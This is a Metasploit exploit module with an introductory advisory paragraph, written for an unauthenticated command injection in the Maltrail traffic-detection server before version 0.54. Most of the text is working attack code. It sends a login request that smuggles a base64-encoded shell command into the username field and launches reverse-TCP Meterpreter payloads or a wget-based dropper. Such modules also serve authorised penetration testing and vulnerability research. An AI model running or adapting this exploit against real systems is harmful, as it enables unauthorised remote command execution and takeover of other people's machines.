Maltrail is a malicious traffic detection system, utilizing publicly available blacklists containing malicious and/or generally suspicious trails. Maltrail versions below 0.54 suffer from a command injection vulnerability. The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get(“username”) parameter. An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication. Successfully tested against Maltrail versions 0.52 and 0.53.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Maltrail Unauthenticated Command Injection',
'Description' => %q{
Maltrail is a malicious traffic detection system, utilizing publicly
available blacklists containing malicious and/or generally suspicious trails.
The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
The `subprocess.check_output` function in `mailtrail/core/http.py` contains
a command injection vulnerability in the `params.get("username")` parameter.
An attacker can exploit this vulnerability by injecting arbitrary OS commands
into the username parameter. The injected commands will be executed with the
privileges of the running process. This vulnerability can be exploited remotely
without authentication.
Successfully tested against Maltrail versions 0.52 and 0.53.
},
'License' => MSF_LICENSE,
'Author' => [
'Ege BALCI <egebalci[at]pm.me>', # msf module
'Chris Wild', # original PoC, analysis
],
'References' => [
['EDB', '51676'],
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
['URL', 'https://github.com/stamparm/maltrail/issues/19146']
],
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => :wget,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2023-07-31',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(8338),
OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{(v<b>([0-9.]+)</b>)}
if version < Rex::Version.new('0.54')
return CheckCode::Appears("Version Detected: #{version}")
end
CheckCode::Safe("Version Detected: #{version}")
end
def execute_command(cmd, _opts = {})
send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'POST',
'headers' => {
'ctype' => 'application/x-www-form-urlencoded'
},
'data' => "username=;`echo+"#{Rex::Text.encode_base64(cmd)}"+|+base64+-d+|+sh;#`" # We also need all the +
)
end
def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name}...")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}...")
execute_cmdstager
end
end
end
